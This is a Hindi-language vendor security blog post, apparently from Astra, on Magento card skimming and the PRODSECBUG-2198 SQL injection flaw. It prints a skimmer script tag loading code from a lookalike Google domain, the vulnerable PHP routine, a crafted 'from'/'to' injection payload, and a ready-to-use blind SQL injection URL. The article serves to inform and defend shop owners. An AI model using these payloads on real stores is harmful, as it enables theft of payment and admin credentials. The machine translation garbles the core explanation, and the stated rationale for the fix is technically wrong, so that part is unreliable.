Magento कार्ड स्किमिंग, एक Magento वेबसाइट पर 'स्किमर्स' नामक दुर्भावनापूर्ण स्क्रिप्ट को इंजेक्ट करके क्रेडिट/डेबिट जानकारी को अवैध रूप से चुराने की प्रथा है। यदि आप एक Magento द्वारा संचालित वेबसाइट के मालिक हैं तो यह लेख आपके लिए है। यहां, हम आपके लिए लाए हैं मैगेंटो कार्ड स्किमिंग सुरक्षा समस्या के इर्द-गिर्द घूमते हुए सभी आवश्यक विवरणों के साथ एक अच्छा संसाधन।
इस लेख में, हम चर्चा करेंगे कि मैगेंटो कार्ड स्किमिंग क्या है और यह मैगेंटो वेबसाइटों को कैसे प्रभावित करता है (अवधारणा के प्रमाण के साथ)। इसके अलावा, हम इस बारे में कुछ कार्य युक्तियाँ सीखेंगे कि आप अपनी वेबसाइट को इस समस्या से कैसे बचा सकते हैं। तो, चलिए सीधे अंदर आते हैं।
संबंधित लेख – Magecart के हमले Magento स्टोर पर क्या हैं और उन्हें कैसे रोकें
Magento कार्ड स्किमिंग क्या है?
मैगेंटो एक PHP-आधारित ओपन-सोर्स ई-कॉमर्स प्लेटफॉर्म है। यह एक स्व-होस्टेड सामग्री प्रबंधन प्रणाली है जो वर्तमान में Adobe के स्वामित्व में है। लगभग 250,000+ वेबसाइटें अपनी ई-कॉमर्स वेबसाइट को सशक्त बनाने के लिए मैगेंटो का उपयोग करती हैं। इनमें से अधिकांश वेबसाइटें यूएस-आधारित ई-कॉमर्स दिग्गजों की हैं। इस प्रकार, ग्राहक अनुभव को सुरक्षित करने के लिए Magento की भारी ज़िम्मेदारी है।
दूसरी ओर, कार्ड स्किमिंग, एक भौतिक कार्ड स्किमिंग डिवाइस द्वारा क्रेडिट कार्ड और डेबिट कार्ड से जानकारी को अवैध रूप से कॉपी करने की प्रथा है। यहां बताया गया है कि कैसे मैगेंटो और कार्ड स्किमिंग एक दूसरे से जुड़े।
मैगेंटो कार्ड स्किमिंग वेब स्किमिंग का एक रूप है जिसमें हैकर्स तीसरे पक्ष की स्क्रिप्ट के माध्यम से मैगेंटो पर भुगतान की जानकारी चुराते हैं। यह स्क्रिप्ट उन्हें महत्वपूर्ण बैंकिंग जानकारी जैसे मालिक का नाम, क्रेडिट कार्ड / डेबिट कार्ड नंबर, सीवीवी नंबर और समाप्ति तिथि चोरी करने में सक्षम बनाती है। हैकर्स आमतौर पर इस जानकारी को ब्लैक मार्केट में बेचकर कमाई करते हैं।
PRODSECBUG-2198 के बारे में शोषण
PRODSECBUG-2198 अंक पहली बार 9 नवंबर 2018 को Bugcrowd पर रिपोर्ट किया गया था। मूल रूप से, PRODSECBUG-2198 एक कमजोर कोड है जो Magento में SQL इंजेक्शन की अनुमति देता है। यह भेद्यता एक अनधिकृत उपयोगकर्ता को मनमाना कोड निष्पादित करने की अनुमति देती है जिससे संवेदनशील जानकारी का रिसाव हो सकता है।
बहुत जल्द बग को P1 के रूप में चिह्नित किया गया था। बगक्राउड के अनुसार, P1 भेद्यताएं वे भेद्यताएं हैं जो विशेषाधिकार वृद्धि का कारण बन सकती हैं। इसके कारण, कोई भी उपयोगकर्ता निचले स्तर की अनुमति से व्यवस्थापक अधिकारों को बढ़ा सकता है। इसके अलावा, यह रिमोट कोड निष्पादन, वित्तीय चोरी, आदि की अनुमति देता है। शोषण ने Magento के निम्नलिखित संस्करणों को लक्षित किया:
- Magento कॉमर्स <1.14.4.1
- Magento ओपन सोर्स <1.9.4.1
- Magento <2.1.17
- Magento <2.2.8
- Magento <2.3.1
Google के नाम से स्किमर
मैगेंटो स्किमिंग के एक हालिया मामले में, हमने हैकर्स को भुगतान विवरण चुराने के लिए नकली Google डोमेन का उपयोग करते हुए देखा। इस हमले में, दुर्भावनापूर्ण जावास्क्रिप्ट को एक डोमेन से लोड किया जा रहा था - google-analytîcs.com या xn--google-analytcs-xpb.com.
यदि आप ध्यान से देखेंगे, तो यह मूल Google डोमेन पर एक नेमप्ले है। इस प्रकार, यह स्किमिंग हमला संवेदनशील भुगतान जानकारी प्राप्त करने के लिए एक विधि के रूप में फ़िशिंग का उपयोग करता है। स्क्रिप्ट कुछ इस तरह दिखती है -
<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>
इसके अलावा, यह स्किमर लोड किए गए JavaScripts और document.getElementsByTagName के उपयोग द्वारा डेटा कैप्चर करता है। अगर कोई डेवलपर टूल खुला नहीं है, तो यह स्किमर चोरी किए गए डेटा को नकली Google डोमेन पर पहुंचाता है – google-analytîcs.com या xn--google-analytcs-xpb.com।
हालाँकि, यह एक अजीब व्यवहार दिखाता है जब आपकी वेबसाइट पर एक डेवलपर टूल खुला होता है। यह ट्रांसमिशन प्रक्रिया का पता लगाता है और बीच में ही रोकता है। साथ ही, यह व्यवहार आपके द्वारा उपयोग किए जा रहे ब्राउज़र सॉफ़्टवेयर के आधार पर भिन्न होता है।
Magento कार्ड स्किमिंग:अवधारणा का प्रमाण
इस सुरक्षा भेद्यता के बारे में अवधारणा के प्रमाण का उल्लेख निम्नानुसार किया गया है। यह पायथन में लिखा गया है और मुख्य बात यह है कि मैगेंटो कार्ड स्किमिंग समस्या का कारण बनता है।
- यहां कोड मूल रूप से कुछ यादृच्छिक यूआरएल और सत्र डेटा के साथ एक डमी ब्राउज़र सत्र बनाता है। यह ब्राउज़र वर्ग और सत्र प्राप्त करने वाले फ़ंक्शन का उपयोग करके किया जाता है।
- सत्र विवरण के साथ ब्राउज़र क्लास का एक ऑब्जेक्ट SQL इंजेक्शन क्लास को पास किया जाता है।
- एसक्यूएल इंजेक्शन अब सत्र यूआरएल में कुछ पेलोड डेटा जोड़ता है, एक उत्पाद बनाता है और फिर वेबसाइट के डेटाबेस से महत्वपूर्ण विवरण प्राप्त करता है। बैकएंड डेटा तक विशेषाधिकार प्राप्त पहुंच प्राप्त करने के लिए SQL इंजेक्शन पेलोड को भी संशोधित किया जा सकता है।
- हमलावर उपयोगकर्ता के हाल के लेनदेन और बैंकिंग जानकारी के बारे में जानकारी प्राप्त करता है।
शोषण आपकी Magento वेबसाइट को कैसे प्रभावित करता है?
Magento के पास लगभग 2 मिलियन PHP लाइनों का एक विशाल कोडबेस है। यह ऑडिटिंग और शोषण की खोज को एक बोझिल कार्य बनाता है। हालांकि, जब एथिकल हैकर्स की हमारी टीम ने कोड की जांच की, तो उन्होंने ओआरएम और डीबी प्रबंधन के लिए जिम्मेदार कोड पर अपने लक्ष्यों को कम कर दिया।
जिन क्षेत्रों में मैगेंटो कार्ड स्किमिंग के बग मौजूद थे वे थे:
1. तैयार SQLCondition फ़ंक्शन में
यह सार्वजनिक कार्य डेटाबेस को संभालने वाले मुख्य वर्गों में से एक के अंदर समाहित है और इसे
. पर स्थित किया जा सकता हैMagentoFrameworkDBAdapterPdoMysql
फ़ंक्शन कोड इस प्रकार है:
शोषण को समझना
आइए अब हम चिन्हित रेखाओं पर अपना ध्यान केंद्रित करके शोषण के कार्य को समझते हैं। [1] चिह्नित लाइन में, एक शर्त उपनाम $conditionKeyMap का उपयोग करके एक पैटर्न से जुड़ा है। यह प्रत्येक '?' वर्ण को उपनाम के अंदर दिए गए मान के एक उद्धृत संस्करण द्वारा प्रतिस्थापित करता है, जो लाइन नंबर 33 में _prepareQuotedSqlCondition() फ़ंक्शन का उपयोग करके लाइन 30-35 में लिखे गए तर्क के आधार पर होता है। अब निम्नलिखित कोड उदाहरण पर विचार करें:
<?php
$db->prepareSqlCondition('username', ['regexp' => 'my_value']);
=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
=> $query = "username REGEXP 'my_value'";
अब एक समस्या तब उत्पन्न होती है जब लाइन संख्या 30 में "से" और "से" शर्तों को संयोजन के रूप में उपयोग किया जाता है। उस कोड में तर्क यह सुनिश्चित करता है कि एक क्षेत्र एक सीमा के साथ समाहित है। बेहतर समझ के लिए, आइए इस कोड स्निपेट को देखें:
<?php
$db->prepareSqlCondition('price', [
'from' => '100'
'to' => '1000'
]);
$query = "price >= '100' AND price <= '1000'";
निष्पादन तर्क के अनुसार, जब भी दोनों स्थितियां मौजूद होती हैं, तो पहले "से" को संभाला जाता है और फिर "से" को संभाला जाता है। लेकिन लाइन नंबर 38 पर एक महत्वपूर्ण गलती की जाती है। "से" उत्पन्न होने वाली क्वेरी का उपयोग स्वरूपण के लिए आगे किया जाता है।
अब वह हर "?" दिए गए मान से बदल दिया जाएगा, यदि "से" के मान में कोई प्रश्न चिह्न आता है, तो इसे "से" को निर्दिष्ट मान के उद्धृत संस्करण से बदल दिया जाएगा। एक वैध SQL इंजेक्शन हमला करने के लिए, हमलावर निम्नलिखित शोषण कोड को तैनात कर सकता है:
<?php
$db->prepareSqlCondition(‘price’,[
‘from’ => ‘x?’
‘to’ => ‘ OR 1=1 -- -’
]);
-> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”
मामूली पैमाने पर होने के बावजूद गलती बहुत प्रभावशाली हो सकती है। आश्चर्यजनक तथ्य यह है कि कोड का यह टुकड़ा Magento के संस्करण 1.x से रहता है।
2. सिंक्रोनाइज़ क्लास के एक्जीक्यूट फंक्शन में
निम्न स्थान पर निष्पादन फ़ंक्शन में एक और भेद्यता पाई गई:
MagentoCatalogControllerProductFrontendActionSynchronize
PHP स्रोत कोड जहां सुरक्षा समस्या का पता चला था वह इस प्रकार है:
<?php
public function execute()
{
$resultJson = $this->jsonFactory->create();
try {
$productsData = $this->getRequest()->getParam(‘ids’,[]);
$typeId = $this->getRequest()->getParam(‘type_id’,null);
$this->synchronizer->syncActions($productsData, $typeId);
} catch (Exception $e) {
$resultsJson->setStatusHeader(
ZendHttpResponse::STATUS_CODE_400,
ZendHttpAbstractMessage::VERSION_11,
‘Bad Request’
);
}
return $resultsJson->setData([]);
कॉल स्टैक जो अंततः बग की ओर ले जाता है:
<?php
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);
कमजोर कोड का यह टुकड़ा Magento के v2.2.0 से मौजूद है। एक नमूना यूआरएल जो मैगेंटो कार्ड स्किमिंग से जुड़े इस अनधिकृत ब्लाइंड एसक्यूएल इंजेक्शन का कारण बन सकता है, वह इस प्रकार है:
https://magento2website.com/catalog/product_frontend_action/synchronize?
type_id=recently_products&
ids[0][added_at]=&
ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
अब जब जानकारी डेटाबेस से पढ़ी जा सकती है, तो हमलावर व्यवस्थापक खाते के लिए क्रेडेंशियल निकाल सकता है और बैकएंड तक पहुंचने के लिए उनका उपयोग कर सकता है। वे उपयोगकर्ता डेटाबेस और लेनदेन डेटाबेस से बैंकिंग और अन्य वित्तीय विवरण भी छीन सकते हैं। हमलावर इस जानकारी का उपयोग कर सकता है और साइबर अपराध जैसे ई-कॉमर्स धोखाधड़ी या फ़िशिंग या विशिंग भी कर सकता है। हमलावर आपकी वेबसाइट पर मैलवेयर भी होस्ट कर सकता है जो ई-कॉमर्स प्लेटफॉर्म में आपके संगठन की प्रतिष्ठा के लिए हानिकारक हो सकता है। आपकी वेबसाइट को सर्च इंजन द्वारा ब्लैकलिस्ट किया जा सकता है जिससे आपकी वेबसाइट के ऑर्गेनिक ट्रैफ़िक में गिरावट आ सकती है।
अपनी वेबसाइट को Magento कार्ड स्किमिंग से कैसे बचाएं?
अब जब हम मैगेंटो कार्ड स्किमिंग की कार्यप्रणाली को विस्तार से समझ गए हैं, तो आइए समझते हैं कि हम इसे भविष्य में इस तरह के हमलों से कैसे बचा सकते हैं।
-
तैयार करना SqlInjection फंक्शन
तैयार एसक्लइंजेक्शन फ़ंक्शन में सुरक्षा बग को हटाने के लिए, कोड को इस प्रकार लिखा जाना चाहिए:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
'इस' पॉइंटर का उपयोग करके पास किए गए मान का संदर्भ हमलावर को बैकएंड डेटा तक सीधे पहुंचने से रोकेगा। पॉइंटर वेरिएबल का उपयोग डेटा एब्स्ट्रैक्शन और केवल एक अधिकृत फ़ंक्शन तक पहुंच को सक्षम बनाता है।
-
इनपुट डेटा का सत्यापन
आपकी Magento-आधारित वेबसाइट के किसी भी पृष्ठ में इनपुट के रूप में लिए जा रहे मानों को बैकएंड प्रोसेसिंग के लिए आगे भेजने से पहले सत्यापित किया जाना चाहिए। सत्यापन उचित कार्यों या उपयुक्त तर्क का उपयोग करके किया जा सकता है। यह फुलप्रूफ होना चाहिए। वेबसाइट व्यवस्थापक को वेबसाइट डेवलपर्स के लिए सुरक्षित और कम असुरक्षित कोड लिखना अनिवार्य करना चाहिए।
-
सुरक्षित करने के लिए अपडेट करें
आपकी Magento-आधारित वेबसाइट द्वारा उपयोग किए जा रहे सभी प्लगइन्स नवीनतम संस्करण के लिए अद्यतित होने चाहिए। यह आपके ग्राहकों और उपयोगकर्ताओं के लिए एक सुरक्षित अनुभव सुनिश्चित करेगा। हैकर्स आमतौर पर उन वेबसाइटों को लक्षित करते हैं जो पुराने प्लगइन्स पर चल रही हैं और वे मैलवेयर होस्ट कर सकते हैं जो आपकी वेबसाइट को धीमा कर सकते हैं और आपकी Magento वेबसाइट को ब्लैकलिस्ट कर सकते हैं।
-
सुरक्षा ऑडिट
यह सुनिश्चित करने के लिए साइट का पूरी तरह से सुरक्षा ऑडिट करें कि आपकी वेबसाइट में पहले से ही सुरक्षा खामियां नहीं हैं। सभी Magento के उपयोगकर्ताओं का पुनरीक्षण करें और किसी ऐसे व्यक्ति को हटा दें जिसे आप नहीं पहचानते हैं। सभी खामियों और कोडिंग कमजोरियों को उजागर करने के लिए, आप अपनी वेबसाइट पर एक पेशेवर VAPT (भेद्यता आकलन और प्रवेश परीक्षण) करवा सकते हैं।
-
किसी भी सुरक्षा विसंगति की रिपोर्ट करें
यदि आपको उपयोगकर्ता डेटाबेस या लेनदेन को संभालने वाले डेटाबेस में सुरक्षा उल्लंघन का कोई निशान मिलता है, तो इस आपात स्थिति को जल्द से जल्द सुलझाने के लिए शामिल पार्टियों (भुगतान प्रोसेसर, ग्राहकों और कंपनी के हितधारकों) से संपर्क करें। सुरक्षा उल्लंघनों को अनदेखा नहीं छोड़ा जाना चाहिए।
-
साझा होस्टिंग सुरक्षा जोखिमों से सावधान रहें
यदि आपकी वेबसाइट साझा होस्टिंग का उपयोग करके होस्ट की जाती है, तो आपको बैकअप और बढ़ी हुई सुरक्षा के लिए योजनाएं खरीदनी चाहिए। एक सुरक्षा व्यवस्थापक या वेबसाइट व्यवस्थापक के रूप में आपको अपने होस्टिंग सेवा प्रदाता से संपर्क करना चाहिए और अन्य वेबसाइटों के बारे में जानकारी होनी चाहिए जो साझा होस्टिंग सर्वर पर होस्ट की जाती हैं। एक किफायती विकल्प के लिए जाकर अपने व्यवसाय की ऑनलाइन प्रतिष्ठा को जोखिम में न डालें। एस्ट्रा ब्लॉग के पिछले लेख में साझा सुरक्षा जोखिमों पर एक विस्तृत चर्चा पहले ही की जा चुकी है। आप इसे यहां पढ़ सकते हैं।
-
डेटा एन्क्रिप्शन
एक मजबूत एन्क्रिप्शन तंत्र के साथ आपके वेबसाइट डेटाबेस पर संग्रहीत किए जा रहे डेटा को एन्क्रिप्ट करें। यह हमलावर को आपके उपयोगकर्ताओं के व्यक्तिगत डेटा या आपके संगठन की रणनीतिक जानकारी में सेंध लगाने के लिए कठिन समय देगा।
-
XSS आक्रमण पथ ठीक करें
हालाँकि, इस लेख में, हम XSS पर चर्चा नहीं कर रहे हैं क्योंकि Magento के भुगतान गेटवे पृष्ठ का निर्माण PHP-आधारित रूपों का उपयोग करके किया गया है, यह महत्वपूर्ण है कि वे htmlspecialchars() का उपयोग करें। $_SERVER[“PHP_SELF”] हमलों को रोकने के लिए कार्य करता है।
-
फ़ायरवॉल इंस्टाल करें
वेब एप्लिकेशन फ़ायरवॉल स्थापित करना आपकी वेबसाइट की सुरक्षा बढ़ाने का एक और तरीका है। एस्ट्रा का फ़ायरवॉल आपकी वेबसाइट के लिए एक सतत निगरानी प्रणाली है। यह 24*7 आपकी वेबसाइट पर आने वाले खतरों की पहचान करता है और उन्हें रोकता है। इसके अलावा, यह प्रत्येक प्रयास किए गए हमले के साथ विकसित होता रहता है और अगले के लिए बेहतर तरीके से कॉन्फ़िगर हो जाता है।
Magento सुरक्षा मुद्दों पर अधिक लेखों के लिए, यहां क्लिक करें ।
लेख मददगार लगा? फेसबुक, ट्विटर, लिंक्डइन पर अपने दोस्तों के साथ साझा करें।